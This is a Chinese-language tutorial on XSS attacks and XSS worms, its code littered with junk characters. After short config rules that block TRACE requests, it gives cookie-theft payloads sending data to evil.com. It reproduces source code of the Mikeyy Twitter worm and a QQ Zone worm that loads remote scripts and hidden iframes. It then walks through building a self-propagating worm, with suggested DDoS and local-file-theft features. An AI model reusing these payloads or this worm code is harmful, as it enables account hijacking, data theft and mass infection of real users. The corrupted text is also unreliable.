5 s! h! ]5 |. e: g# C; w3 B
- j, _6 t( u% e  U5 ]+ \2 ~
( f& s0 ~1 R1 m; x" |
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
: c, N, z( O* [/ {; J5 r) J. E1 {( a" O
[code]
+ l# X& W2 p5 a# Y" i
# }1 w5 k' d3 {2 b" JRewriteEngine On
- ]! L6 p. }' M5 F/ t: d2 p, h
" |& X4 `7 z3 c3 N/ e/ z8 eRewriteCond %{REQUEST_METHOD} ^TRACE
" s1 A5 g* @/ z3 p2 ?+ ]" D
RewriteRule .* - [F]



) k, |8 T0 M( O9 JSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

) V; V. n! B1 ^; Uacl TRACE method TRACE

: \' G9 I. @" k8 Z4 K+ W) V2 W...
$ Y) t% h6 m7 j( B, N
http_access deny TRACE
- z/ I6 X2 }2 O复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
0 U$ T' \" ]! @% y, k$ K! b
) u- o  k$ g2 ~0 N( Vvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
; W* D  u4 _" J- k# W
XmlHttp.open("GET","http://www.google.com",false);
8 V, W2 m, b7 _' t) ~
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

( h7 |5 X2 ]( l5 g+ P1 \% t# a7 E" |+ FXmlHttp.send(null);
5 i5 ?% z7 L! J
</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

4 l, b0 P' f( R- ~) Evar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");



+ V1 G; o" H% g4 X) P1 IXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

7 h* R% {0 T. FXmlHttp.send(null);

<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
$ N3 Y4 Q9 j4 H% y" R- T% U. s第一版:
  下载 (5.1 KB)

6 天前 08:27
9 ^) h# e4 s' l. f0 Q
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

4 D: ~. ~/ Q  a( n. L" R   2.   
! m7 u0 R2 `  ]+ V( ^
   3. function XHConn(){  
7 |: }% R8 }  K% f& |2 u5 d& a. p- r
   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
: ^. |' _) U7 a( G, j9 b2 p
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
* ]! o) X7 ?& }- n2 M5 t6 c& a: \复制代码第六版:   1. function wait() {  
. K" s" V- I! c. n+ Q  c
   2.   var content = document.documentElement.innerHTML;  
* a5 i8 r1 s; F6 P( M
   3.   var tmp_cookie=document.cookie;  
" s& ~- Y" X5 z% O9 k! J1 {- ~
! A% b3 ~$ r! s. u   4.   var tmp_posted=tmp_cookie.match(/posted/);  

8 J8 {4 w8 z% n7 u: G7 Y   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
" m* ^, k! k: g9 Z9 M8 T! R, n
   6.   var authtoken=authreg.exec(content);  

! U. Y, R0 z: G1 ^% c   7.   var authtoken=authtoken[1];  

7 r# t# q) E7 X% S9 Q+ r& H0 o   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

, Y* j8 F+ G, v" V+ g4 z* b/ n6 n" ^  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

, ?0 s- r. ~8 E1 h. ]1 \7 M5 `  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

1 \  Z, \) G( @/ D! W# n6 i% r  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

/ I4 m) d3 R8 r. B4 |) h: t% P  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

, d/ [! _0 w: Q0 f& q  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
2 P; H" p- p8 W8 H" n: `9 s
+ i0 S/ e- W1 p  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
8 _8 D: R7 G- }5 P) L
: x4 r; c# H" s. M. w4 H  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
( D8 Y% ^( d0 E' G$ R% C
# Q# C  l: e, x1 y/ ?6 y4 C9 \! b  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
0 b7 j% x" S" l3 J! F
! c6 z! ]& o, s( b  O  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
' X" H- T; x3 x6 x( w: t; E  l+ b
7 V3 Y. ~, ]* v- c  27.     
- E( q% T8 ]$ i& t  d2 g
( A% b3 u4 O5 b4 f% a  M  28.   var ajaxConn= new XHConn();  
" l1 B  ~+ K2 r  g7 {6 w/ U
* p. c/ T7 q5 i5 `/ G7 [- u  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
6 |* J' N$ U/ a7 u( L
  30.   var _0xf81bx1c="Mikeyy";  

# I. i; Z# F4 j7 V7 x6 b* H+ E  31.   var updateEncode=urlencode(_0xf81bx1c);  

9 ]+ @% ^; J% m4 ^  32.   var ajaxConn1= new XHConn();  
/ [' k: S0 m; T0 E5 s
; {0 c( v$ G1 c8 W* j# X5 I0 K  S  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
; W4 z1 o' U4 v# r1 i
# S# o! n6 A8 p/ x  Y  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
* a! @& Z8 }' K" l& a) `$ w$ o
! ?; g: ?* i3 [: L8 `/ ^( e  35.   var XSS=urlencode(genXSS);  
! b- m% r0 ?2 s
  36.   var ajaxConn2= new XHConn();  
0 f7 i3 ], y/ ^" Y2 t
! M, w, F- Z: o3 U, k3 _! [( U8 U  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     
% g. N$ N' N6 T' T# I; V
0 ~* `% B2 p. i% A' q9 C5 T) \  39. } ;  

: l0 f  Y! H$ c; i5 g: U  [0 Q* E: x  40. setTimeout(wait(),5250);  
6 R7 g+ }  G+ M8 @! B复制代码QQ空间XSSfunction killErrors() {return true;}

1 Z1 B- x7 w: C1 y0 C) vwindow.onerror=killErrors;
) y) s4 j5 F  M( L9 o" z6 Q8 D

- X2 E# o$ F8 \5 v% V% G* F3 a/ m
" u: v. G* p) Svar shendu;shendu=4;

//---------------global---v------------------------------------------
+ @# W* Q2 H- X' e* N, Q8 b9 w% _
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
' B5 k$ W; \1 b1 `! v
* r: A8 B3 m6 C+ o1 f% X# O- |var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
/ D$ o5 O1 w( N8 n
var myblogurl=new Array();var myblogid=new Array();
# R5 t4 J( j: r3 f6 m) T, W8 v
        var gurl=document.location.href;
2 z* {; f( G1 Y/ [, G: q4 m9 D: ^
        var gurle=gurl.indexOf("com/");
- S1 V* V2 C  v' I  @' D
: f7 M3 M& Q% R        gurl=gurl.substring(0,gurle+3);        
" B+ Z; S( Q2 D# v* b9 F
0 H8 C& f! H' _1 T        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");

' S2 i/ y% ]& v5 c& w0 b        visitorID=visitorID.substring(cookieS+14);

! @: I; A- a# Y        cookieS=visitorID.indexOf(",");

        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);

        DOshuamy();
# K' Z4 A8 F6 e. U
4 n  w2 a, p8 o% L
- _/ u# u- d0 B9 ~+ g5 H5 u! d6 Y
//挂马

; d3 ^! b7 C$ Qfunction DOshuamy(){

+ b8 b; @/ J+ f+ @1 F7 ~6 ?; ?var ssr=document.getElementById("veryTitle");
% z" d5 a; ?; ~! Q! |* j. x
) P5 [0 t3 }) i1 F) M0 I' Tssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

' X- K# s$ Z- [$ i( X1 @}
  h! q# @/ s6 m2 v8 \
; e6 N/ u8 Z8 C- L% |  B

//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
2 E$ N! ~; B9 @1 L% f$ w9 w
3 t. L( V  I; M% \5 [( C) e$ Nfunction get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
4 O, r$ x6 v: `% ^2 p
9 |, f' C. U9 ^' c# h   if(xhr){    //成功就执行下面的
$ o* g8 t1 ]6 T+ G' |; R1 L5 Q
  l( o; W( R" D6 Q: P  {& b     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
! o* a  _9 A! {3 e+ S; B
. O3 Y5 A6 @5 q* W+ U- b: b     xhr.send();guest=xhr.responseText;
: x/ H/ P; ?1 P7 J& c
     get_my_blogurl(guest);    //执行这个函数
+ f* t9 B% V3 S. P
    }

}

' ?, F6 z' V* l* Y) m* x* e

//这里似乎是判断没有登录的

0 Q" n# y+ o/ }, a  e! Ufunction get_my_blogurl(guest){

  var mybloglist=guest;
& U4 O9 |$ e5 _1 L
1 A% ^; V" G5 I0 S" _( c  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){
# E& \$ K' O* G- A
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
% u* H: o5 J6 B- @
$ x2 z: H; G6 M" a' @# s7 \     if(myurls!=-1){    //找到了就执行下面的
2 r+ y3 z$ v5 D7 ^1 Z8 P
         mybloglist=mybloglist.substring(myurls+11);

         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);

- r$ J3 N6 j' B  H. ?+ @6 h        }else{break;}

}

get_my_testself();    //执行这个函数

}
" X5 e: O' A4 z/ l& u. C' h


) h) K. H8 U* i4 C2 k$ R1 g//这里往哪跳就不知道了
9 y: o' ]% l; ^
) S, x3 [1 Q0 i8 l. ]function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值
9 W5 d1 w# W+ h! i: B
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

2 r$ i4 w( v; B      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
9 r  B* p* C' s- F
0 B/ v4 a" F3 }% v% t) D      if(xhr2){        //如果成功

+ E- H) i- X2 Y9 _( {              xhr2.open("GET",url,false);     //打开上面的那个url
+ J% |! A; X  f# @  @
# z6 b; X5 [2 M  {. t              xhr2.send();

              guest2=xhr2.responseText;
, L2 F$ j& V$ q/ i/ h
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
. c- m+ U+ V, {/ x( k$ e" ?! [( H2 l
/ Q3 w2 j3 m+ C* b              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   
( a; T1 s9 F# L! [3 u0 k/ O
. m# G4 R; D) S! K; a5 Z. W% A                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
4 E5 g8 R5 m% R
                break;

               }
# r, C4 N9 S5 [( ~4 p" j
              if(mycheckit=="-1"){
$ {6 a  [8 m8 Y( D4 g0 b
                targetblogurlid=myblogid;
$ d' N+ E1 W! c
                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;
7 b( s+ _: i' t1 ^! S! g0 ~- k
; d: ?! v; I: q- w) V, g! z               }

        }      
" p, o' C# _+ g& _  ^! ]
4 P$ e2 H7 V$ h}

}
" G) {/ W3 b* h1 x; {

+ d$ l: \/ Y( N( a! n, j  E2 ]8 D
//--------------------------------------  

/ X' E$ a3 {3 P! c8 w//根据浏览器创建一个XMLHttpRequest对象
- J) p! ?4 t& O
function createXMLHttpRequest(){

0 n1 K% Y% D5 C( p. ^    var XMLhttpObject=null;  
: w0 Q* I/ Y/ g- `1 C7 f) E8 t+ k9 C
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
, F2 Q/ C  O# f- k3 N! U! o  W
" o; r5 K1 e  ]# k! N# Y; k! U    else  
! z( Y& [3 Q9 d/ K
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  

: o% `  {4 U! {6 l+ p7 S        {  
" W. s4 N2 |( J0 N: h# B
% @0 P/ }2 E: Q7 P3 K+ i            try  

            {  
% N  |5 y) j- R; y: X
9 Z5 W6 h! _7 p' w& P$ y" D                XMLhttpObject=new ActiveXObject(MSXML);  
" _5 h2 o- @) A+ V# M
4 m$ K! Y6 d$ c% _. O" ]3 P0 C                break;  

$ G5 r! a$ Z( Z, A            }  
. m/ o9 S) w& D* w
0 B3 @0 x/ F3 q3 H  h* s' j2 J            catch (ex) {  
# I. o! P6 q9 q. n: E$ Q4 L+ g6 g
            }  
1 q, p* R! @, x& p4 K$ h0 ~# p) c
         }  

! e6 o" r/ L0 z4 P; g3 g! E  E      }
, H: T# p6 }5 M' T# C( T
8 |/ p$ V5 [4 A3 sreturn XMLhttpObject;
, G! w% y* J3 m7 c  X( F  t$ W, e
}  
- H# l% o, _6 \1 \: P' X
$ J9 ^% M: ?6 d& O1 q

//这里就是感染部分了
3 D# s) \% `- t4 H! V' j. n; X
7 h+ |4 }* C! e( t, v, l: ~5 r7 Wfunction add_js(visitorID,targetblogurlid,gurl){
1 _/ ^# Z0 T9 x, U7 _, T. N7 Y
var s2=document.createElement('script');
4 v! m% ~4 U- ^# N' b* g3 `' A
- e9 y( i7 f/ w( Ss2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
6 l* Y5 s/ O8 t
document.getElementsByTagName('head').item(0).appendChild(s2);
& K7 l/ K7 @( @
" ^, n2 C8 H5 a+ |7 w( j4 \}
: ~4 L6 s# b- i- O# m


! k4 ^" n2 C( rfunction add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);

2 M9 X1 y- G3 U( D. |4 X}
6 D) S4 I7 V) ~  i复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
3 s" B+ j9 `3 S4 b; ]6 _1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
" Z1 J7 ^* }! u, i+ ^7 z$ {
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


. R, C1 |" z% |3 w3 }9 `下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
: ]" |+ E1 Z3 Z/ ^$ |# Z
: L8 L5 k& t/ m. ^" v2 N首先,自然是判断不同浏览器,创建不同的对象var request = false;
- ?4 z( |2 ?) o- s1 Z$ p$ E
" [4 x# |8 Z% x* O5 e  S2 e/ h. i, v! @if(window.XMLHttpRequest) {
- a# [, K- z* x0 ]: u0 U4 H
& v* v+ e" M4 q7 urequest = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType('text/xml');

5 L. q! p( f  A; T}
- h% ~8 R7 V; d$ P1 ?# Z
} else if(window.ActiveXObject) {
7 s. D/ ^% W. d3 v0 C& T
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
; M. v- g1 e( v
6 o3 c& Z$ F) n7 Zfor(var i=0; i<versions.length; i++) {

try {

request = new ActiveXObject(versions);

4 j- z2 X5 J6 T- k% A} catch(e) {}

2 b! I+ C& f7 i* L0 j7 J}

}

xmlHttpReq=request;
! y$ V* k) ?: d3 V! A4 h复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
; m( C% j! t, d: ~
        var Browser_Name=navigator.appName;

* R( c( ?2 r3 X  Q        var Browser_Version=parseFloat(navigator.appVersion);

$ ~  e( }4 K3 U1 i/ L4 ]        var Browser_Agent=navigator.userAgent;
4 K# J; {: E' `) j  {6 w
        
3 ?/ d4 S1 P$ B1 \
4 A5 u+ i6 F. A5 R        var Actual_Version,Actual_Name;

0 |2 d+ x9 {1 Q        
: _3 _) ^5 H. B! r. {
        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
  d1 L# k( G2 |+ S. z8 {/ ^% _
        var is_NN=(Browser_Name=="Netscape");
$ z8 {, _2 n. u- {# ~+ Y# |# O3 ?
# F/ d) C) ?/ ^/ b+ e& ?        var is_Ch=(Browser_Name=="Chrome");

        
( J9 P/ _+ M( v2 A# i% Z" Y
        if(is_NN){

! R: D* d5 T9 t5 ?7 M& @4 F            if(Browser_Version>=5.0){

% l4 d6 ^, o( S- L6 p6 T                var Split_Sign=Browser_Agent.lastIndexOf("/");
2 R* z7 ]5 p" ]; j
8 ^. v+ P5 l2 L1 E                var Version=Browser_Agent.indexOf(" ",Split_Sign);
7 F  E$ _3 e0 U' {, Q
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
4 E5 _2 S( H% R% C, C  u

- i* y. U/ o* `/ T4 v
# H+ @5 ~9 P8 c9 T9 C& M- J                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }
/ l! m! k4 L) c$ d
7 W/ I( X4 t3 ]' j0 M( H3 v5 o' p& O            else{

' `7 ^& G0 `; n4 Q                Actual_Version=Browser_Version;

- j8 B1 u5 `9 {+ {% B  E# f. r                Actual_Name=Browser_Name;

            }
9 r. y& u/ w* [- I7 j( w: \2 a
2 w* f' R0 @% s  Z8 \        }
; p6 y0 q# d" M( [0 O) R
* h' C& n- Q( B9 @# t        else if(is_IE){
& f& A) O7 C) {
; v0 G% e+ W+ L' X0 l            var Version_Start=Browser_Agent.indexOf("MSIE");
' t/ g* q, P3 i7 x. v* _
6 f9 `9 j: o6 C$ V8 P$ Q0 ^+ b            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
0 S- a- `: a# i; S. h% L6 x
            Actual_Name=Browser_Name;
0 N  ]  T: Q+ S1 O
9 P; o. Z$ I2 F' P+ ?+ d            

) @3 I& W+ [/ O6 D' w2 a! I            if(Browser_Agent.indexOf("Maxthon")!=-1){
# S. H9 Y; R6 E' J' [
                Actual_Name+="(Maxthon)";
; }  X# ]4 B5 {) z
            }
8 b& z) _' d! U" @
! \7 M6 l0 S% \0 p9 c: w9 u            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
: |) W  `, n' ~/ X
                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
. H3 t2 g0 q/ U
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

) c! V2 L: ]8 N1 f3 Q$ N5 T) N        }
+ X& ^5 B9 H& H4 D/ q! r) q
        else if(is_Ch){
; ?4 l0 D  X: T- M0 r1 z3 T) ?6 {
. D8 c8 l! o! ^1 H$ f* u6 `            var Version_Start=Browser_Agent.indexOf("Chrome");
  K3 ]1 O+ l: ]( m" |2 T. ?, v! A% Z
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
& e' ^- X" Z. d8 W0 ]/ o9 a
; O8 ~# U; h% l# M3 \7 t4 N            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
$ C) n! r( f% g, E" }% h+ g
            Actual_Name=Browser_Name;
" q7 \4 Z8 G0 s4 M. Q7 y2 q3 l. M
* B! _  [" }" t$ X8 r  d8 v1 h            

  E- A. y' X2 _( p5 I! U/ E            if(Browser_Agent.indexOf("Maxthon")!=-1){
# ?7 l6 T& P4 L( ?8 p9 R5 G
5 O( _) L/ \: V6 O& U, O$ R                Actual_Name+="(Maxthon)";
  o. g, |* s* {- y4 d4 P, d
            }

2 [7 k+ |( `/ E; u* b+ W            else if(Browser_Agent.indexOf("Opera")!=-1){

: j8 `& q$ l+ C' p# Z( z                Actual_Name="Opera";
  X, j% }! P+ Q6 w+ G
# ^9 Z7 ~7 C2 K: W                var tempstart=Browser_Agent.indexOf("Opera");
7 p. R& H* d0 c% F
( A* W3 u' n! u2 ]                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
% S* }& q) q4 N! l, E
            }

        }
0 M3 y* P; }' u( W8 W; W5 b
        else{

' ^8 I2 i. B4 d, D. f            Actual_Name="Unknown Navigator"
( L5 `8 y3 n0 `6 @2 g$ _
            Actual_Version="Unknown Version"
( B. _7 R8 E: y; ]0 d+ L# ]$ z% k
0 y+ P; Z7 }8 D. @6 m% y, ^& Q        }
+ ~4 R" O( O/ Q+ D
+ c7 h! R$ E( V5 j7 x  C7 C5 f
: D3 X& h$ d" l& T) J
        navigator.Actual_Name=Actual_Name;
: [4 n; @% X9 M6 l/ `- ~
        navigator.Actual_Version=Actual_Version;

0 ~3 z: u; R2 E        
6 B9 i) x; [( j9 l7 y: R7 w
/ O2 H$ w% f. Y* ~/ U$ N, q        this.Name=Actual_Name;
) a1 g* s- H2 }4 t4 V2 n7 K
        this.Version=Actual_Version;
3 a! r9 E9 }/ T  V; W, h
    }

4 ^- f; X0 V- T# P/ E6 P/ {    browserinfo();

7 y4 I" }/ {. |8 l. O    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
, _: L; I2 V3 F4 E
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

+ ]/ q5 m3 l) r' W    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
7 {) h$ }1 h" a9 ]1 O复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
; ^2 `6 @* a6 L2 z9 q  b
xmlHttpReq.send(null);

) `2 i/ W! j% D+ J) Jvar resource = xmlHttpReq.responseText;

+ [, Z! m2 r$ U. I$ i1 N6 Qvar id=0;var result;
: ]! B( H' B$ q, E$ v
var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {

8 }* i% B# U& T9 L, ]/ l# Aid++;

6 T& |* M- f) j" d  E}
7 n# ]5 L; G- _7 v8 r复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);
$ q6 M! i2 D& [
  o) F; G/ ]9 o+ Svar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

6 ]0 g; f3 U- k: ovar post="wd="+wd;

3 ~% x. o# P$ Q) XxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

( [- K( E! m' z! ^9 _$ SxmlHttpReq.setRequestHeader("content-length",post.length);

8 z* N6 S# F: O$ e* d6 \1 MxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
$ l; E* n9 o5 V6 `0 I. i
) k; J# I' {9 a) }- U' }# {  LxmlHttpReq.send(post);
: m- T( r2 J- Z+ {/ }1 N
. G" e" @. A+ z5 Z$ |& F2 E  n}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
8 o9 S9 i" d3 |- ?9 p8 V% [
* D+ x6 |5 S" r. lvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
7 l0 G: {6 {$ Q- r* [6 X) X
var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

  a/ O/ q7 A# _) C8 N8 f# E2 Z4 Xvar post="wd="+wd;
; y- G0 f2 X2 I
+ Y% O% j1 }& L: Q8 X* h+ q/ ]/ ZxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

